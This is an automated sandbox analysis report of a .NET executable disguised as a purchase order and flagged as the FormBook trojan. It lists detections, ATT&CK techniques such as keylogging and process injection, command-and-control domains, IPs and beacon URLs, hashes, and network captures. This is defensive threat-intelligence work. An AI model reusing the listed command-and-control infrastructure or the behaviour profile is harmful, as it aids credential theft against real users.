Source: Yara match	File source: 00000003.00000002.305837682.0000000000B70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.305819661.0000000000B40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.NEW ORDER SOR 10531220.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.NEW ORDER SOR 10531220.exe.400000.0.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Command and Scripting Interpreter2	Path Interception	Process Injection512	Rootkit1	Credential API Hooking1	Security Software Discovery221	Remote Services	Credential API Hooking1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Shared Modules1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Masquerading1	Input Capture1	Process Discovery2	Remote Desktop Protocol	Input Capture1	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Disable or Modify Tools11	Security Account Manager	Virtualization/Sandbox Evasion31	SMB/Windows Admin Shares	Archive Collected Data1	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Virtualization/Sandbox Evasion31	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol12	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection512	LSA Secrets	System Information Discovery112	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Deobfuscate/Decode Files or Information1	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information4	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Software Packing3	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Timestomp1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
NEW ORDER SOR 10531220.exe	61%	Virustotal		Browse
NEW ORDER SOR 10531220.exe	24%	Metadefender		Browse
NEW ORDER SOR 10531220.exe	52%	ReversingLabs	ByteCode-MSIL.Spyware.Noon
NEW ORDER SOR 10531220.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
3.2.NEW ORDER SOR 10531220.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
theglasshousenyc.com	0%	Virustotal		Browse
www.theglasshousenyc.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.theglasshousenyc.com/nyr/?VBZDH=6l68xBo0LhJD2lv&hRXX=17hAXKnq4LEoTdb/hcwwVfWjS4IYRgMdOmXX52SprwB/nueYqi9a5dgIoxBN3QmuetP3	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
www.magnumopuspro.com/nyr/	6%	Virustotal		Browse
www.magnumopuspro.com/nyr/	100%	Avira URL Cloud	malware
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.chjcsc.com/nyr/?hRXX=pvzb7SsULo7Y2vRo6lGAqy8tja7/7li767PDw0IqJEj7KBKEBSl8rkLevIquA9l06aH5&VBZDH=6l68xBo0LhJD2lv	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.chjcsc.com	172.255.115.89	true	true		unknown
theglasshousenyc.com	34.102.136.180	true	false	0%, Virustotal, Browse	unknown
www.socialdating24.com	unknown	unknown	true		unknown
www.theglasshousenyc.com	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.theglasshousenyc.com/nyr/?VBZDH=6l68xBo0LhJD2lv&hRXX=17hAXKnq4LEoTdb/hcwwVfWjS4IYRgMdOmXX52SprwB/nueYqi9a5dgIoxBN3QmuetP3	false	Avira URL Cloud: safe	unknown
www.magnumopuspro.com/nyr/	true	6%, Virustotal, Browse Avira URL Cloud: malware	low
http://www.chjcsc.com/nyr/?hRXX=pvzb7SsULo7Y2vRo6lGAqy8tja7/7li767PDw0IqJEj7KBKEBSl8rkLevIquA9l06aH5&VBZDH=6l68xBo0LhJD2lv	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false		high
http://www.tiro.com	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false		high
http://www.goodfont.co.kr	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css	NEW ORDER SOR 10531220.exe, 00000000.00000002.244540222.0000000002F26000.00000004.00000001.sdmp	false		high
http://www.carterandcone.coml	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sajatypeworks.com	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fontfabrik.com	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false		high
http://www.fonts.com	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.urwpp.deDPlease	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	NEW ORDER SOR 10531220.exe, 00000000.00000002.244487250.0000000002EE1000.00000004.00000001.sdmp	false		high
http://www.sakkal.com	explorer.exe, 00000005.00000000.274441918.000000000BC36000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.255.115.89	www.chjcsc.com	United States		7203	LEASEWEB-USA-SFO-12US	true
34.102.136.180	theglasshousenyc.com	United States		15169	GOOGLEUS	false

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	411847
Start date:	12.05.2021
Start time:	07:43:24
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	NEW ORDER SOR 10531220.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@9/1@3/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 38.3% (good quality ratio 35.1%) Quality average: 75.8% Quality standard deviation: 30.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 61 Number of non-executed functions: 128
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe

Simulations

Behavior and APIs

Time	Type	Description
07:44:19	API Interceptor	1x Sleep call for process: NEW ORDER SOR 10531220.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
LEASEWEB-USA-SFO-12US	BANK-ACCOUNT. NUMBER.PDF.exe	Get hash	malicious	Browse	172.255.115.119
	126-21-11HAR.exe	Get hash	malicious	Browse	172.255.208.73
	PO#10244.exe	Get hash	malicious	Browse	23.82.175.79
	PI34567890987.exe	Get hash	malicious	Browse	23.82.175.79
	RDAx9iDSEL.exe	Get hash	malicious	Browse	147.255.162.204
	5PthEm83NG.exe	Get hash	malicious	Browse	147.255.162.204
	k7AgZOwF4S.exe	Get hash	malicious	Browse	147.255.162.204
	lFfDzzZYTl.exe	Get hash	malicious	Browse	147.255.162.204
	o52k2obPCG.exe	Get hash	malicious	Browse	147.255.162.204
	q3uHPdoxWP.exe	Get hash	malicious	Browse	147.255.162.204
	NMpDBwHJP8.exe	Get hash	malicious	Browse	23.82.57.32
	pCkqlKXv05.exe	Get hash	malicious	Browse	23.82.57.32
	PO-2021-UTITECH-.exe.exe	Get hash	malicious	Browse	23.106.92.110
	u87sEvt9v3.exe	Get hash	malicious	Browse	23.82.57.32
	Processed APR12.xlsx	Get hash	malicious	Browse	23.82.57.32
	36ne6xnkop.exe	Get hash	malicious	Browse	23.82.57.32
	Customer-100912288113.xlsx	Get hash	malicious	Browse	23.82.57.32
	KL9fcbfrMB.exe	Get hash	malicious	Browse	147.255.162.204
	rErRI1Ktbf.exe	Get hash	malicious	Browse	23.108.117.12
	Gt8AN6GiOD.exe	Get hash	malicious	Browse	23.82.57.32

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NEW ORDER SOR 10531220.exe.log Download File
Process:	C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1314
Entropy (8bit):	5.350128552078965
Encrypted:	false
SSDEEP:	24:MLU84jE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4sAmEw:MgvjHK5HKXE1qHiYHKhQnoPtHoxHhAHR
MD5:	1DC1A2DCC9EFAA84EABF4F6D6066565B
SHA1:	B7FCF805B6DD8DE815EA9BC089BD99F1E617F4E9
SHA-256:	28D63442C17BF19558655C88A635CB3C3FF1BAD1CCD9784090B9749A7E71FCEF
SHA-512:	95DD7E2AB0884A3EFD9E26033B337D1F97DDF9A8E9E9C4C32187DCD40622D8B1AC8CCDBA12A70A6B9075DF5E7F68DF2F8FBA4AB33DB4576BE9806B8E191802B7
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.8695867721304396
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	NEW ORDER SOR 10531220.exe
File size:	929792
MD5:	2e2de2014ccb06fea1b50414f5e301e6
SHA1:	b571217f877106966f056526c0fdb0068ebfcbff
SHA256:	f8ca257b6bbb8a0b617611a8ddb0068f056f3dc38eb525495978632b03964380
SHA512:	06359a6730f19363432e72f1fe4d85e8a12d5df2ee2ff00cd153da94bdb80086728f4ba3cd42966e61ba227cf8448943ae7bc4cbb216e7668b8c7ac0c722e742
SSDEEP:	24576:zIIJQXHDDlVMhFhuEMCfWYwINNmBC/eXz2f:zIDZGhPzMCeKiUeXzi
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................P..&..........rD... ...`....@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x4e4472
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x9FBA10BA [Tue Dec 1 20:55:22 2054 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe4420	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe6000	0x5bc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xe8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xe4404	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xe2478	0xe2600	False	0.910225272639	data	7.87523328982	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0xe6000	0x5bc	0x600	False	0.424479166667	data	4.11315545531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xe8000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0xe6090	0x32c	data
RT_MANIFEST	0xe63cc	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2019
Assembly Version	1.0.0.0
InternalName	ValueTuple.exe
FileVersion	1.0.0.0
CompanyName
LegalTrademarks
Comments
ProductName	WinFormBlur
ProductVersion	1.0.0.0
FileDescription	WinFormBlur
OriginalFilename	ValueTuple.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/12/21-07:45:57.680250	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49725	80	192.168.2.5	172.255.115.89
05/12/21-07:45:57.680250	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49725	80	192.168.2.5	172.255.115.89
05/12/21-07:45:57.680250	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49725	80	192.168.2.5	172.255.115.89
05/12/21-07:46:16.189912	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49727	80	192.168.2.5	34.102.136.180
05/12/21-07:46:16.189912	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49727	80	192.168.2.5	34.102.136.180
05/12/21-07:46:16.189912	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49727	80	192.168.2.5	34.102.136.180
05/12/21-07:46:16.327475	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49727	34.102.136.180	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 12, 2021 07:45:57.476780891 CEST	49725	80	192.168.2.5	172.255.115.89
May 12, 2021 07:45:57.679785013 CEST	80	49725	172.255.115.89	192.168.2.5
May 12, 2021 07:45:57.679990053 CEST	49725	80	192.168.2.5	172.255.115.89
May 12, 2021 07:45:57.680249929 CEST	49725	80	192.168.2.5	172.255.115.89
May 12, 2021 07:45:57.883593082 CEST	80	49725	172.255.115.89	192.168.2.5
May 12, 2021 07:45:57.883640051 CEST	80	49725	172.255.115.89	192.168.2.5
May 12, 2021 07:45:57.883668900 CEST	80	49725	172.255.115.89	192.168.2.5
May 12, 2021 07:45:57.883948088 CEST	49725	80	192.168.2.5	172.255.115.89
May 12, 2021 07:45:57.884073973 CEST	49725	80	192.168.2.5	172.255.115.89
May 12, 2021 07:45:57.884253025 CEST	49725	80	192.168.2.5	172.255.115.89
May 12, 2021 07:46:16.148560047 CEST	49727	80	192.168.2.5	34.102.136.180
May 12, 2021 07:46:16.189594030 CEST	80	49727	34.102.136.180	192.168.2.5
May 12, 2021 07:46:16.189714909 CEST	49727	80	192.168.2.5	34.102.136.180
May 12, 2021 07:46:16.189912081 CEST	49727	80	192.168.2.5	34.102.136.180
May 12, 2021 07:46:16.230925083 CEST	80	49727	34.102.136.180	192.168.2.5
May 12, 2021 07:46:16.327475071 CEST	80	49727	34.102.136.180	192.168.2.5
May 12, 2021 07:46:16.327513933 CEST	80	49727	34.102.136.180	192.168.2.5
May 12, 2021 07:46:16.327816010 CEST	49727	80	192.168.2.5	34.102.136.180
May 12, 2021 07:46:16.328022957 CEST	49727	80	192.168.2.5	34.102.136.180
May 12, 2021 07:46:16.369128942 CEST	80	49727	34.102.136.180	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 12, 2021 07:44:10.055042982 CEST	62060	53	192.168.2.5	8.8.8.8
May 12, 2021 07:44:10.113535881 CEST	53	62060	8.8.8.8	192.168.2.5
May 12, 2021 07:44:10.301431894 CEST	61805	53	192.168.2.5	8.8.8.8
May 12, 2021 07:44:10.366353035 CEST	53	61805	8.8.8.8	192.168.2.5
